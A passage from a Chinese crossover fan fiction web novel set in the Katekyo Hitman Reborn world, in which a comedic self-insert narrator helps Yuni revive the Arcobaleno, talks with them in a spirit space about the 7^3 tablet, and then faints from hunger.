毕竟这个火焰,有可能会吞噬掉心甘情愿为火焰奉献的人。 伽马他站在我身边实在危险。 话毕,伽马便马上退开,只有那灼灼的视线,一直跟在我身后。 我深吸了一口气,摘下了手上的指环丢给身后的伽马。 这就要赶鸭子上架开始考试了。 我伸手,手掌穿过外焰,直直深入到火焰中心,落在这紧贴着尤尼酱掌心的五个奶嘴上。但是,我却没有贸然拟态,而是略等了几秒。 就是这几秒之中,我感觉到掌心里的奶嘴微动,橘色的火焰从我的手背穿到手掌,借由我的身体和奶嘴联系在一起。 紧接着,我就明显感觉到,进入奶嘴的大空火焰没有被马上消化,而是被解构着反哺到了我的掌心,像是要帮助我适应这种火焰的状态一样。 果然…… 我就知道,卷王的主观能动性强过头了啊,喂! 但火焰进入我的身体,在我的体内流动——不用担心我会被火焰灼伤、或是会吸收火焰。之前我就已经明确过了,火焰已经无法对我的身体起效。晴之火焰不行,大空的火焰也一样,只能把我的身体当做一个中转戒指,从我的全世界路过。 卷王的行为,几乎是把饭喂到了我嘴里,祂在用实际行动告诉我,火焰在体内如何产生、如何流动、如何运作。 绝佳的体验派老师,谁看了不说一句好家伙。 卷王真是煞费苦心。 既然如此,我也不能辜负。 不是不能辜负卷王,而是不能辜负尤尼酱。 因为不论卷王如何运作,祂都只有影响力,看不见摸不着、不会产生自己的火焰。现在真正在贡献火焰的,仍然只有尤尼酱。 我确认了想要的答案,确认了卷王的态度,自然就不会再多等一秒。闭上眼睛,开始细细感受着火焰的流动——并不完全是在身体里,由觉悟产生的力量,自然是一种奇妙的玄学。 很柔和,像是夏日的溪流,沁人心脾,无声地抚平了我的急躁。 还真别说,如果用“觉悟产生火焰”这样的形容来思考,我真的没有经验也没有头绪。山本那种诡异语气词派老师根本没有作用,就连狱寺这样的学院派说破了嗓子,我也一个字都听不懂。 但卷王就是卷王,祂似乎已经对我很了解——尤其是在窃取了我的人物建模之后——他知道要怎么对症下药,在这种火焰反哺的感觉里,我一下子就找到了灵感。 觉悟是情绪的集合,在不同的人身上有不同的表现,比如云雀的是怒火,了平大哥的是执着…… 从某种情绪当中具象化出的力量……那不就是和咒力异曲同工吗! 对,就是这种感觉! 那要是咒力的话,我可就老熟了。 果然,二次元战斗番,总是万变不离其宗。 我仿佛一下子找到了技巧,在卷王的推动之下,“唰”的一声、——橘色的火焰顿时暴涨,将我和尤尼酱全都包裹在了其中。 一种生命相连的感觉逐渐清晰。 我、尤尼酱,还有五个正在复活的彩虹之子,我们七人的生命清晰地联在了一起。 七——真是一个神秘的数字。 在家教里——在7^3的世界里,七,就是圆满的意思。 只有圆满了的东西,才能闭环。 一下子,我的感知便清晰了起来——我们七个相连的生命,就像是被运河连在一起的七条水道一样。 生命如水在我们之间相互流动,这就是复活的原理。 如果按照这种形容来类比,那此时的卷王就像是我们七个河道中的唯一漕工,一个人疏浚七条河道,确保流水通常又高效。 不愧是卷王,哪怕是在我这样神奇的形容里,都是一个人干七个人的活——卷王漕工衣食之所系,就在我们身上。 不仅是一人干七人活儿,祂还得游走在五个彩虹之子的意识表层中,确保五个奶嘴能够非常主动地汲取火焰的力量,并且找准恰当的时机,将意识地主动权还给复生的彩虹之子。 007正一君都不敢这么干。 原来的剧情里,尤尼酱需要用一个人的生命河流去填满另外五个河道。她甚至是从挖渠——也就是最初激活五个彩虹之子奶嘴——开始的,这样的情况下,最终导致了尤尼酱生命干涸的遗憾结果,也就不令人感到意外。 但现在不一样了,现在有我。 别的不敢说,但要说这个河道的水量,那绝对是管够的! 第143章 橙色的火焰翻滚如浪, 滚滚涌入五个奶嘴里。 即使我直接接触的也是那五个奶嘴,但我的火焰——或者应该说是咒力,实际上并不以五个奶嘴为主要目标, 而多是在给尤尼酱输送咒力。 咒力和火焰一样, 由某种情绪产出。但其并无火焰属性,像是一张白纸,在进入尤尼酱的身体之后, 按照卷王交给我的体验派经验,咒力沿着特定的方向在体内的流动,很容易就能被尤尼酱“书写”成了大空属性的火焰。 当然,也有不少咒力混在尤尼酱的火焰里, 直接流向了奶嘴。 就像原作之中, 伽马所做的那样。 我闭着眼睛专注,反复地喃喃着,让尤尼酱不要排斥我。 她能够获取多少咒力,取决于她对我的接受程度和信任程度。 好在,我没有走毁灭世界的反派道路, 所以尤尼酱所感知到的“未来”里, 我大概不是什么坏人吧。 很快,七条河道之间的分界线逐渐瓦解, 我代替了Reborn的晴属性的位置, 和其他六个彩虹之子的力量,汇聚成了一条宽阔的、完整的“河流”。 我感觉有什么东西在刺着我的眼皮, 奇怪了, 刚才的房间有这么亮吗? 突然, 一只手突然从背后搭上了我的肩膀。 谁?! 房间里只有伽马, 但伽马是不会用尤尼酱和我赌的。我既然说了让他退开, 那么在一切结束之前,他都绝对不会多上前一步。 我有些应激,猛一回头,睁开眼睛。 嗯?是云雀恭弥? 他怎么会出现在这里。 这合理吗? 不对,伽马人呢。就算我让他后退,他也绝对不可能直接离开的吧。 而且,那种被人紧紧注视的、如芒刺背的感觉并没有消失,也就是说,伽马的视线并没有离开我。 有视线的感知,却没有人的存在。 而且……这也好像也不是刚才的房间吧? 我视线下移,看到了这张和云雀恭弥一模一样的面孔下,穿着的深红色中式长袍,以及微微上扬的嘴角。 “风?” 这不是云雀恭弥三胞胎里的风吗? 岚属性的彩虹之子。 你长大了? 短暂一两秒的大脑宕机之后,我意识到,这里不是现实世界。 “正是在下。”风哥,一个虽然有着和云雀恭弥一样的脸,但这个温润的语气、这个柔和的五官,绝对不会让人认错的人。 是云雀恭弥、阿诺德、风——这三胞胎组合里,不看头发只看脸的情况下,最好分辨的一个。 刚才是我先入为主,草率了。 六个彩虹之子的奶嘴和我这个局外人组成的“七”这个神秘数字,七条火焰相连之间,创造出了这个短暂存在的精神——或说是灵魂世界。 彩虹之子的聚会,猜猜是谁没有收到邀请? 没错,就是Reborn君哒! 该说他是被彩虹之子孤立了呢,还是说他一个人孤立了其他六个人? 大概是选项C,我分别把他们孤立了。 “纲不吉……先生?”尤尼酱似乎非常意外于在这里看到了我,“您为什么会在这个空间——” “是通过你进来的吧?”说话的人是马萌——不对,是玛蒙。 他,还是她? 很难确定,我认为,玛蒙的性别就是玛蒙,玛蒙的取向是金钱。 天下谁人不玛蒙呢。 “通过我吗?”尤尼酱低着头,似乎在回忆,“我只记得,奶嘴们需要更多的火焰——” 她猝不及防地截住了自己的话头,眼前的彩虹之子实际上都是外婆级别的长辈,她显然是不想在其他的彩虹之子面前谈论这件事。 甚至有些避讳。 我了然,从善如流接住了她的话茬,“嗯,你的身体承受不了,所以就失去了意识。我算是受人之托,试试看能不能缓解你的火焰压力,没想到还挺顺利的。” 受人之托——包括能够想到的彭格列基地里的所有人,以及最重要的,卷王。 卷王是直接原因。 祂会不会也在这里呢? 我的眼神四下寻找着,其他身影。 除了被孤立的第一杀手Reborn君以外,其他六个彩虹之子都在旁边。而且不知是不是因为这是在精神世界的缘故,他们都并非婴儿的形态,而是一个个长腿大高个,都是受到诅咒之前的模样。 唉,Reborn不在真是太遗憾了,西装长腿Reborn简直是主人级别的大佬。 被成人版的他征服就像呼吸一样简单。 “纲不吉?那是什么名字,真搞笑。”史卡鲁“噗”地笑出了声,捂着肚子,毫不客气地吐槽着。 这下,就更想让Reborn出现了。 我,微笑.jpg “你认得你,我记得你确实是——”我故意拖长语调,在史卡鲁挺挺胸抬头间,说道,“Reborn的小弟,对吧?” “哈——?!我史卡鲁大人怎么会是别人的小弟!”史卡鲁说话间,还专门左右看了看,确认了一下Reborn并不在身边。 我看着他背后,招手,“啊,Reborn君,你听到了吗,他这样说诶。” “纳尼!?Reborn也在!”史卡鲁就像是被火棍戳到了屁股一样,原地起跳抱头,迅速做好了应对子弹的准备。 …… “噗——” 我一定不是唯一一个笑出声的人,可乐尼洛的表情甚至有些无奈。 史卡鲁这个又怂又勇的样子,实在是可笑又可爱。 难怪Reborn和其他人都喜欢欺负他,我好像回忆起自己当年嗑史卡鲁相关各类邪教CP时的感觉了。 什么都嗑只会让我营养均衡。 听到接二连三的笑声,还发现Reborn并不在身边的史卡鲁,哪里还能不知道自己被骗了。指着我的鼻子,愤怒道:“好你个纲不吉,竟然敢骗本大爷!” “是你先笑我名字的好不好。”我不走心地反驳了这么一句。 不过,我也借此机会将这个一览无余的空间看了个遍,确实只有我们七个身影。 某个卷王“漕工”不在吗? 难道说,祂已经被复活的彩虹之子的意识挤出去了? 那其他的彩虹之子呢,对自己意识被入侵,又把入侵者挤出去这两件事,有记忆吗? 我有点在意,于是也不拐弯抹角,便直接开口问了,“你们,对复活的过程有什么记忆和感知吗?” 对于这种窥探性质的话题,玛蒙、威尔帝这类人肯定是不会开口的了,但也有坦诚的人。 毕竟我都已经在这个空间里了,怎么说也算是他们半个救命恩人。 “说实话,感觉并不多。”一听到某个说话结尾带“可洛”的语气词,我就知道,说话的人是可乐尼洛,这身绿色的工装可真帅,我戴头巾的时候,怎么就戴不出他这种感觉呢? “直到在这里清醒过来之前,我都只有混混沌沌地微妙感知。” “我也一样。”风点头。 “本大爷也是!”史卡鲁附和。 “怎么会?”尤尼酱有些惊讶,“按理来说,意识在奶嘴之中,优先于身体存在……以奶嘴被激活的那一刻为分界,即使意识可能会断断续续,但也应该从那时起就开始恢复了才对。” 那是因为,他们的意识被压制了啊。 卷王下手的时间甚至比我想得还要早。 “可能……是被什么别的意识,压制了吧。” 不愧是威尔帝大佬,一下子就抓住了重点。 嗯? 不对,你看我干什么,这锅难道也要让我背吗? 不是我干的啊! “话说回来,你到底是谁?”史卡鲁分开的双腿一前一后,身体夸张地前倾,胳膊绷得直直的,手指指向我——该说不说,不愧是特技演员,很有表演风格,“难道你是Reborn的继任者吗?” 他好像有点隐隐兴奋地期待着。 不是吧大哥,你对Reborn的心理阴影真的这么大吗? 出去马上就和Reborn告黑状。 “说你脑子有问题你还不相信,”威尔帝推了推眼镜,“除了大空的特殊性,历来的彩虹之子都是一起接受诅咒,一起迭代的,怎么可能只有晴一个属性单独换人。” 我能够读懂威尔帝的眼镜语言,他是在对史卡鲁说“你是蠢货吗”。 “那Reborn不是不在这里吗?”史卡鲁的声音顿时低了几个度,暗戳戳地反驳。 不开玩笑,他真的是个搞笑役角色,生活在彩虹之子的最底端,简直是云属性中的异类。 这怎么不算是另外一种,排挤所有其他云属性的“孤高”呢? “估计,是他没有死吧。”可乐尼洛嘴上说着Reborn,脑子里想的却是另外一个人,“拉尔也不在……也就是说,拉尔还活着对吧!她还好吗?” “拉尔桑一直在并盛,她没事,前次战斗的伤已经好全了,现在也在彭格列基地。”尤尼酱给他吃了颗定心丸,“复活以后,马上就能见到她。” 可乐尼洛明显松了口气,“她没事就好。” 这就是官配的魅力吗? “外面的战斗还在继续吗?”听到关键词彭格列,风不由地插嘴问道,“白兰的目的绝不仅仅只在彩虹之子身上。” “啊,这件事不用担心。”我可是找到机会吹嘘一下自己,马上假装轻松地摆了摆手,“他已经被我杀掉了。” 空气静默了几秒。 史卡鲁崩了起来,“你——?!” “当然,单枪匹马的那种哦。”我扬眉吐气,“要不要看看我是怎么杀的?” 史卡鲁背后一凉,不由地往后退了几步,藏到了可乐尼洛身后,“不、不了吧?” 可乐尼洛没有管他,“你,说真的吗?” “当然,不仅是白兰,还有真六吊花也死伤不少,密鲁菲奥雷的绝对优势已经荡然无存。毕竟——”我拖了两秒的语调,“玛雷指环已经全部被我打包夺走了,剩下的人数和局面上的优势,应该很快就会被扳过来了吧。” 毕竟白花花走的是和世界敌对的邪恶摇粒绒路线。 彭格列是密鲁菲奥雷最大的敌人,但却不是唯一的敌人。 我视线落在玛蒙身上,“瓦利亚现在可是欧洲战场的主力军。” 玛蒙轻轻地“哼”了一声,却没有接茬,反而直接问道:“还没有说,你这个陌生的人,没有受到彩虹之子的诅咒,怎么会出现在彩虹之子的空间里。”TA将自己隐藏在兜帽之下,脸上两个紫色的倒三角明晃晃地写着警惕和拒绝。 尤尼酱上前一步,“是通过我进来的,我能够感觉到,纲不吉先生的火焰支撑着我的燃烧。” 她友好地看我,温柔地笑着,“真的谢谢你,纲不吉君。” “小事一桩,嘿嘿嘿。” 再说一次,她真的,超!可!爱! 森鸥外说得对,萝莉就是整个世界的瑰宝! 我感觉到了一丝上头。 一种熟悉的、玩游戏上头想要氪金的感觉,涌了上来。 所以,在这种上头中,当尤尼酱问出“为什么纲不吉君的火焰没有属性呢?”这个问题的时候,我完全没有防备,甚至没有过一下脑子,就不假思索地就开了口,“那当然是因为我用的原本就不是火焰啦。” ——是咒力哦。 话一出口,我的嘴角就僵住了。 等等,我刚才是不是说了什么不该说的东西? 威尔帝那种充满兴趣的眼神在镜片下展露,“哦——不是火焰的力量?有意思。” ……我闭嘴,我马上就闭嘴。 “所以,我们要怎么出去,你们的意识已经恢复,也就是彩虹之子已经复活了的意思吧?”我赶紧扯开话题,生硬地避开了威尔帝的视线,“那我们还留在这个意识空间里做什么,伽马应该非常着急。” 我最后还补了一句,充分激发尤尼酱想要回到现实世界的主观能动性。 但话音落下,看到尤尼酱忧愁的眉心,我又觉得有点后悔,不该这么说的。 不过尤尼酱很快就调整了过来,“还不行,彩虹之子的灵魂先于身体——虽然大家的意识已经恢复,但会出现在这里,就说明能够匹配意识的身体还没有完全复生,所以精神才会寄存在这里。” 灵魂先于□□…… 真人可真是生不逢时。 不过,灵魂先于□□的概念应该是彩虹之子特有的,从尤尼酱的灵魂可以脱离身体去其他的世界避难这件事就能看出来。 “那……还有多久?” 我抬手,发现自己只要聚精会神,就能看到沿着我手腕流向尤尼酱的白色的线条。 不知道其他人能不能看到。 “快了。”尤尼酱也没有给出具体的时间,也许是她也无法预测,只能凭感觉走。 风突然插话,“生死有命,又何必要让我们复活呢?” 看他的眼神,就知道他大概率已经猜到了尤尼酱原本要付出的代价。 如果不致命,就没必要让我这个外人掺和进来了。 “没办法,如果想要激活7^3石板的话,彭格列指环、玛雷指环和彩虹之子的奶嘴实在是缺一不可。你们死后,奶嘴就失去了色彩,石板需要你们亲手将奶嘴放上去。”如果由我来说什么温情的话就太假了,反正闲着也是闲着,现在正好有时间让我提前把之后要做的事,都袒露给他们听。 “交出奶嘴?”听到这白兰·杰索曾经的发言,玛蒙的声音一沉,“这是打算复活我们,然后再用一次我们的命?” 彩虹之子的诅咒系于奶嘴之上,诅咒虽然让他们的身体永远只能保持婴儿的状态,但却也是切切实实维持他们生存的东西。 否则,也不至于诅咒每次迭代都会导致前代彩虹之子的死亡。 “不是‘交出’,而是‘归位’,奶嘴本就是7^3的一部分。石板和白兰不一样,不会夺人性命。”我知道,想要从彩虹之子手上拿走奶嘴,不可能只是嘴皮子一碰就能成功的事。 就是直接让尤尼酱开口,也不能让所有的彩虹之子无条件服从——彩虹之子七人的关系,和其他两套7^3的关系可不同。 话说回来,哪怕是主角如纲吉,守护者们也不会完全服从。 哦对了,狱寺除外。 更何况,这一代彩虹之子最初的大空并非是尤尼酱,而是她的外婆露切。 但哪怕是露切,事实上也很难强硬地命令其他彩虹之子。 而且,尤尼酱不是那样会强迫别人的人。 这个话,还是我来说最合适。 威尔帝开口,“即使如此,我也没有服从你的必要。” 他虽然说着这样的话,但表情、眼神都不像玛蒙那样防备,也并非是全然的拒绝,而是留着点余地。 多半是刚才那个“无属性火焰”的事触动到了他。 科学狂人,这么多年对奶嘴的研究已经无法再深入,所以可能是想要趁此机会,用这个作为交换条件吧。 不可能的。 威尔帝的人设太危险,卷王毕竟已经直接通过这个世界,触动到了和我穿越司相切的壁垒,我担心威尔帝真把我马甲扒下来。 绝不可能给他这个机会。 我也有我的筹码。 “难道你们真的这么喜欢这个诅咒?一直维持着婴儿的形态受制于人,难道不让人恼火吗?” 没有彩虹之子真的喜欢被诅咒后的身体形态。 谁喜欢受制于诅咒呢,谁会不想要自己原来的身体呢? 如果真是不想要,也就没有后来的彩虹之子代理战了。 ——虽然那确实是个幌子来着。 我这话一出口,哪怕是威尔帝都变了脸色,被我话语中的潜藏含义震得无以复加。 他自从变成婴儿的那一刻起,就从来没有放弃过研究彩虹之子的诅咒,包括奶嘴在内,他又有自己这个现成诅咒受体作为蓝本,当然已经将能研究的,都细致研究到了极点。 可即使如此,他依然没有找到任何解开诅咒的机会和线索。 “什么意思?你有解开彩虹之子诅咒的本事?”玛蒙迫不及待地问。 如果说威尔帝为诅咒付出了大量的时间和精力,那么玛蒙就为此付出了许多自己最最最——重要的“最”强调三遍——重要的金钱。 玛蒙一度在给威尔帝提供科研资金,是威尔帝的甲方爸爸。 可乐尼洛、风对交出奶嘴这件事的排斥不大,史卡鲁怂怂软软的,也不是问题。 最大的钉子户就是威尔帝和玛蒙,我主要也是在劝服他们二人,说话时的眼神就不自觉地倾斜向他们。 果然,他们的回复也最活跃。 “别看我,我可没有这个本事。”我连忙摆手,我虽然好搞事,但却没有把这个活儿也揽下来的打算。 威尔帝眼睛一眯,似乎已经想通了最关键的地方,“但你知道谁——应该说是‘什么’有这个本事。” 不愧是科学狂人,脑子转得就是快。 “是7^3石板。”我没有卖关子,直接就抛出了一个结论,肯定了威尔帝的想法。 事实上,是7^3的基石力量,而非是7^3石板力量。但这不过一词之差,反正超直感先生也不在这里,我很从容, “说下去。”威尔帝饶有兴致。 我先是将先前和纲吉他们讨论过的,那套关于7^3的“主干”“枝叶”和“根”的论调简单粗暴地重复了一次。 他们的接受能力和理解速度要比纲吉快很多,我可以跳过许多推导过程,也不需要考虑语速问题。 爽。 只有解释了这些,我才能继续往下说,“你们的诅咒,其实就是彩虹之子适格者的特性,有点类似于白兰窥探平行世界的那种能力。但一出生就拥有窥探平行世界潜力的白兰,也不是一出生就开始窥探的。你们被诅咒也是一样的道理,是在某个特定的时刻,启动了这种适格者特性。如果,世界被重启、奶嘴的状态被刷新,那么寄托在彩虹之子身上的诅咒自然也会随之消失。而这件事,只有7^3石板才做得到。” 这个思路,事实上有些类似于最后彩虹之子代理战的结局。 所以,和我介入尤尼酱复活彩虹之子的过程一样,我不是在凭空捏造逻辑,而是沿着原作中就存在的剧情进行延伸。 这样,就不用考虑世界规则的限制性。 彩虹之子的奶嘴确实需要拥有者,需要守护者——哪怕诅咒状态刷新之后,也会需要。 但这点没必要讨论,因为刷新之后,会有专人接手。 诅咒也是力量,是7^3一角的代表,卷王不会假手于人的。 我有点好奇,祂窃取了我的人体建模,到时候拥有了七重彩虹之子的诅咒,会不会变成婴儿的我? 嘶——有点好奇了。 “真、真的吗!本大爷也终于能变回这帅气的样子了吗!”隔着面具,我都能感觉到史卡鲁的兴奋。 可乐尼洛虽然没有史卡鲁那么夸张,但亮晶晶的眼神却做不了假。 但和史卡鲁不一样,他恢复身体的最主要目的——动力,是拉尔。 纯爱战士嘛,我懂的。 “即使7^3石板能刷新奶嘴的状态,但刷新之后呢?重启之后呢?难道奶嘴就不需要彩虹之子了吗?”威尔帝一语中的,“刷新、重启都只能算是轮回,而并非改变,结果依然会朝着原本的路线发展,不是吗。” 他甚至不是疑问语气。 “就是这个道理。”玛蒙显然和威尔帝站在一起,“你或许没有说谎,但却也没提重启刷新之后的事。” 这不是没必要提吗? 我无奈一笑,摇了摇头,“话虽如此,可——不是彩虹之子奶嘴诅咒了你们,而是你们接受了彩虹之子的诅咒,这二者之间的区别,应该很明显吧?” 这次,我看向了可乐尼洛,在这个事情上,他是最有发言权的。 因为雨属性的奶嘴最初选定的人并非是他,而是拉尔·米尔奇。但是他抢在拉尔之前接受了诅咒,所以才有了如今彩虹之子的局面。 这就是早期纯爱战士! “……你的意思是说,我们……可以不接受?”玛蒙的声音很轻,带着诸多不确认性,却也认真思索了起来。 当年,他们会赴彩虹之子的诅咒之约,未尝没有受骗的意思。除了可以在一定程度上预知未来的露切,其他人都不知道被彩虹之子诅咒后的结果。 但重启之后就不一样了,他们不仅有过被诅咒的经验,而且还亲身体会过被诅咒后的生活。 “可如果我们不接受,奶嘴又会选中哪些人呢?”风有些担忧地说道。 “那风先生不妨猜猜看,玛雷指环在选中适格者之前,都在做什么。”我摩挲了几下自己曾经戴过玛雷指环的中指,“7^3最适合的介质不是人,而是7^3石板——二者本为一体,只要不取下来、不贪图7^3的力量,也就不需要有人承载诅咒。” 原则上来说,是这样没错。 石板是7^3基石力量的初始介质。 力量诚可贵,但在场的人原本就是自己所在领域的佼佼者。即使没有彩虹之子的力量,也能活得很好。 那自然,比起有诅咒副作用的力量,还是退一步更好。 威尔帝若有所思。 我总觉得他多少有些觊觎7^3石板之心。 不过,无所谓。 他如果真要抢7^3石板,第一个要着急的怎么也轮不到我,可以是纲吉,可以是正一,可以是卷王。 “差不多了。” 威尔帝和玛蒙似乎还在思考中,尤尼酱便已突然开口,“身体,要恢复了。” 时间简直恰到好处,足够我说完,却又不用我尴尬地在这里等他们想,真让人怀疑有没有卷王从旁操控。 我再次扫视,重新感知,仍然没有发现任何卷王的痕迹。 或许是先前潜藏控制彩虹之子的奶嘴,出现在这里可能会被扒马甲的缘故? 祂失重没有出现。 我于是也不再深究,“那剩下的决定,各位好好斟酌,出去之后再议,如何?” 可乐尼洛重重点头。 人家着急着见CP,史卡鲁也在为自己的复活而兴奋。 “请。”风有礼貌地接住了尤尼酱的眼神。 这是彩虹之子们的精神空间,是尤尼酱将大家拉入其中,以容纳没有身体承载的灵魂。那么现在,自然也需要她来将大家都送回自己灵魂对应的身体。 包括我。 “大家做好准备。” 在尤尼酱提醒的话语中,眼前的一切转瞬化为了刺眼闪烁的白光,逼得我眯起了眼睛,身体微微灼热的感觉也在朦胧中逐渐清晰起来。 再睁眼时,便是化为火星四处散落的大空之炎,以及躺在营养仓里的尤尼酱,和横七竖八卡在营养仓边边角角的婴儿们。 我一转头,就对上了一个视角放大八百倍的婴儿脸。 Reborn! 吓死我了! 能不能出点声来? 我惊得肩膀一抖,整个人都不好了。 紧接着,伽马直接就把我拨开了——拨开了!? 看到彩虹之子复活的他,内心的忐忑达到了极点,根本顾不上其他。 Ps:我就是那个“其他”。 拉尔的眼眶发红,我被拨开之后,马上就补上了空缺。 “纲不吉君,你没事吧?脸色好差。” 我闻声望去—— 正一,关键时刻还是你最关心我。 我擦摸自己眼角不存在的眼泪,收拾起心情环视四周才发现,不大的房间中,里里外外挤满了人。 伽马或许没有特意去联系谁,但尤尼酱的设备出问题,绝对是彭格列基地内一等一的大事,警报的级别自然也绝对是最高级别,会有这么多人知道也不奇怪。 “我还好。”我向正一投以微笑。 他明显松了口气,“这到底是——怎么回事?” 不仅他有这个疑问,其他所有人都有这个疑问。 尤其是纲吉。 为了节省时间,他和Reborn被拉到了斯帕纳的虚拟训练系统中——系统里的时间流速可以被调整,只是时间拉得越长,对神经的压力也就越大。 他一边承受着这种神经压力,一边接受着Reborn斯巴达补习的精神折磨,好不容易堪堪弄懂了课程,结果发现,考试已经结束了嘞! 他学的东西,表面上来看,是一点没用上。 但纲吉完全没有不满或是烦躁的情绪,大大的眼睛里满是动容,“太好了……大家都好好的,尤尼酱、纲不吉君,还有彩虹之子的大家。” 他眼角甚至有真·泪水! 要是我辛辛苦苦复习两周,结果最后临时通知我开卷开始,我真的会痛苦一整个暑假。 沢田纲吉同学,你究竟是什么品牌的天使啊! 第144章 有纲吉这样的BOSS, 彭格列干什么都会成功的。 我都已经诡异成这样了,天天给他直接、间接地制造各种麻烦,尤其是这次人神共愤的补课事件, 连我自己都觉得我自己烦人。 他却不一样, 眼神澄澈得让人自惭形秽。 我清了清嗓子,调整了一下状态。刚抬脚迈出一步,我突然觉得一阵天旋地转, 像是有点感受不到自己腿的存在了。 不过我的头脑异常清晰,五感虽略微有些混沌,但不是什么大问题。 “呜啊——!” 这毫无疑问是纲吉的声音,国分优香里的声音辨识度相当高。 原来, 声音真的也可以用手忙脚乱这四个字来形容, 我这一听纲吉的声音,就知道他现在肯定手脚都不会放了。 一定是又双叒叕有什么突发事件,并且直接怼在了他脸上,逼得他不得不马上做出决定。 但,是发生了什么事情呢? 我眨了眨眼睛, 感觉眼前的视线一阵模糊, 胸闷气短,似乎还有些心悸。我呼吸一滞, 脑中的一切都褪去, 只留下一个大大的字—— 饿! 饿死我了! 日式食堂真的有点吃不饱,早晨就喝了一碗海带豆腐汤, 我本来是打算在圣地巡礼的过程中, 到处买点东西吃的。结果出现了一系列的连环变故, 导致我到现在一直没有吃东西! 饥饿难耐, 我需要饱满的碳水来弥补我手上的胃。 我凝神, 视线逐渐清晰,纲吉的眼睛距离我只有几个拳头的距离,我仰视着他,仰视着他背后挂着顶灯的天花板。 我意识到,自己正倒在纲吉的怀里。 哦,原来突发情况就是我。 别说,还真别说,别瞧着纲吉外表看上去柔柔弱弱、一副大白兔甜弟的样子。实际上脖子以下,胳膊和胸口都很硬。即使没有中原中也级别的身体,也绝对在武侦宰之上,肌肉非常匀称且有力。 我用自己的头顶仔细感受了一下他的腹部——他竟然也是拥有八块腹肌的超级猛男! 配合纲吉水润无辜的眼睛,他简直有伊之助仿佛把头P到身体上的那味儿了。 弱鸡竟然只有我自己(bushi)。 一下子,纲吉在我的眼里变成某种意义上的“叛徒”。我马上下定决心,等我回去后,立即就在学校旁边的健身房里办张卡,这次我一定天天去! 争取下次漫展,可以凭我自己出半|裸风哥不死川实弥,还能剩下一个肌肉衣的钱。 划算。 我的心里燃起了熊熊烈火。 眼神坚定地像是入|党。 “……纲吉君,先把纲不吉先生挪到这边来。” 正一发出声音的时候,我才意识到自己好像沉浸在自己的世界里太久了,以至于不少人都乱了方寸。 这个房间毕竟是给尤尼酱保命的地方,除了营养仓,各类的检查装备一样不少。正一正是站在一个医疗台前,他已经做好了检查和应对准备。 听到正一的话,纲吉就这样毫不犹豫地把我抱了起来。公主抱,而且是非常轻松地公主抱。我想要挣扎一下,却全然挣脱不开。 真不应该刻板印象小瞧他的,这和逆我CP有什么区别。 不过仔细想想,都不必说纲吉迄今为止面对过的敌人,哪怕只看Reborn的训练:什么徒手爬峭壁、空手接炸弹、单腿跳瀑布……哪一个不是挑战人类身体和精神的极限项目。 有这么个老师…… 纲吉在经历过世界第一杀手一对一的专业训练后,若是还弱鸡,那才是真的奇怪。 只不过,看漫画的时候,和纲吉对比的永远都是更强大的BOSS,他又是典型的“大空性格”,所以才让我产生了他是弱鸡的错觉。 我像一条失去梦想的咸鱼,放空了自己。 认真地说,我确实有种新冠新愈时的虚弱感,就连想要张口说话,都觉得嗓子累得不想动。 罢了,反抗不了就摊着。努力不容易,难道摆烂还不容易吗? 旁边的尤尼酱大概是很担心我的情况,撑着伽马的手臂想要站起来,却是有心无力。她的状态绝对不比我好多少,火焰的“量”确实是我出了大头,但火焰的“质”却是由她来保证的,再加上引导灵魂回到正确的躯体……这些都不是轻松的活儿。 在我插手之前,尤尼酱的身体就已经到了需要营养仓的地步。 现在也是,她的清醒只持续了几分钟,就又一次昏厥过去。只不过这一次,远不如上一次凶险,而是单纯的脱力。 和我差不多,她是累晕的,我是饿晕的。 但,入江正一给我检查之后,却得出了一恶搞奇妙的结论——火焰枯竭。 是的,他没有在我的身体里找到一丝一毫的火星子,甚至一点点应该长久存在于身体中的火焰波动都没有。 用彭格列专门检测火焰潜力的装置来测试,我也是天赋的最下限。 这很正常,我本来就不会用火焰,不论是战斗还是提供火焰,我要么是取巧,要么是欺诈。 在被世界意识正式排斥之后,每一次拟态火焰,实际上都是给世界意识打补丁的机会。正一本就是不可能在我的身体里,找到任何火焰痕迹的。 怎么说呢,我是0添加穿越者,火焰这种东西,我自产不了一点。 但,这种事,我自己说起来当然轻巧,其他人却不会像我这么轻松。 毕竟任谁也不可能认为,刚刚才大发神威的我、之前单杀真六吊花和白花花的我,竟然是个不能产生火焰的体质。 他们——尤其是正一,只会觉得,是刚才的事导致了现在的后果。 这个性质一下子就变了。 伽马看我的眼神,简直像是在看超人。 嗐,这多不好意思啊…… 我命令你们马上给我做一点能让我吃饱的东西来。 “这个状况,无法逆转吗?”纲吉确实看不懂那些复杂的数据和图表,但当一个指标后面的数字是“0”的时候,任谁都会理解了。 入江正一神情凝重,斯帕纳就站在他身旁,和他低声商讨着些什么,最终得出结论,“很难,这完全是身体性质发生了改变——如果只是受损,数字不会是‘0’,只有枯竭、只有枯竭才会如此。” “怎么会这样……” 纲吉的眼神颤抖,瞳孔地震,绝对称不上顶尖聪明的小脑瓜努力地转动着,我甚至觉得自己能够听到转动的声音,“那如果,用其他人的来换呢?” 我一惊,猛看向了他。 “如果是同属性的人,用同样的东西替换呢?”纲吉说着话的时候非常认真,眼神坚毅仿佛进入了死气模式一般。 我刚才直观上和尤尼酱使用了同样属性的火焰,同属性就是大空。 纲吉不可能让尤尼酱来替我,他指的只可能是自己。 不是吧,你认真的吗? 真的要做到这种地步? 入江正一显然在动摇,这个方案一边是我,一边是纲吉,他的私情让他很难把我们放在天平上进行衡量。 但换个角度来说,既然他进入这样纠结的情绪,反倒是说明,纲吉刚才的提案存在施行的可能。 至少旁边的斯帕纳马上就get到了这一点。 等等,稍微等一下! 你们这样凝重,搞得我压力很大。 我只是单纯的需要一顿饭,不需要纲吉的主角光环!说真的,只是一碗西红柿鸡蛋浇面的事儿,不要搞得这么壮烈啊,喂! 没有火焰的话,你后面的剧情打算怎么推进? 我赶紧看向Reborn。 家庭教师先生,赶紧劝一下,你选择的十代目BOSS已经打算要提前退休了——真要是那样,可就是彻头彻尾的烂尾漫了啊! 撞上Reborn的豆豆眼,他的眼睛看不出情绪,无悲无喜,仿佛是个圣人一样——我真看不懂。 但有一点我很懂的是,他没有上前阻止纲吉的意思。 纲吉在其他的地方很迟钝,可每当他需要的时候,他的超直感总是能够最快、最有效地发挥作用。 “可行?对不对!”他流露出明显的开心,紧绷的肩膀如释重负般地松了下来。 入江正一看了看他,又看了看我,最终在和斯帕纳无声地对视中,点了头。 “别!千万别!”我都顾不上疲软的四肢,撑着扶手坐了起来。 这不仅仅是个会坑纲吉的方案,也是个会坑我的方案! 